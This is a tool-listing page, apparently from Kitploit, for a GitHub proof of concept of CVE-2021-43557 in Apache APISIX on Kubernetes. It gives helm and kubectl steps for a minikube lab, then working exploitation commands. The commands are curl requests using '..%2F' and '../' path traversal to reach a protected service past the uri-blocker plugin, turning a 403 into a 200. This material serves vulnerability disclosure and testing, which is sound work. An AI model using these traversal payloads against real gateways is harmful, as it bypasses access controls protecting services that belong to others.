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k8s-CVE-2021-43557-poc — PoC for CVE-2021-43557 | Kitploit
Tools/GitHubGitHub/xvnpw/k8s-cve-2021-43557-poc
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityAPI Security
GitHubxvnpw/k8s-cve-2021-43557-poc

k8s-CVE-2021-43557-poc

PoC for CVE-2021-43557

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2234 years agoReviewed by Kitploit

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Installation

  • install minikube
  • install apisix:
root@kitploit:~
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
  --set gateway.type=NodePort \
  --set ingress-controller.enabled=true \
  --namespace ingress-apisix \
  --version 0.7.2
kubectl get service --namespace ingress-apisix
  • deploy app.yaml: kubectl apply -f app.yaml
  • deploy routes: kubectl apply -f routes.yaml

Optional, if you need to change app images:

  • (optional) build docker images:
    • cd protected-service; docker build -t protected-service:0.0.1 .
    • cd public-service; docker build -t public-service:0.0.1 .
  • (optional) push docker images into minikube:
    • minikube image load protected-service:0.0.1
    • minikube image load public-service:0.0.1

Exploitation

Manually

To access public service:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

should return 200

To access protected service:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'

should return 403

To access protected service bypassing uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test' To access protected service bypassing uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'

Both should return 200

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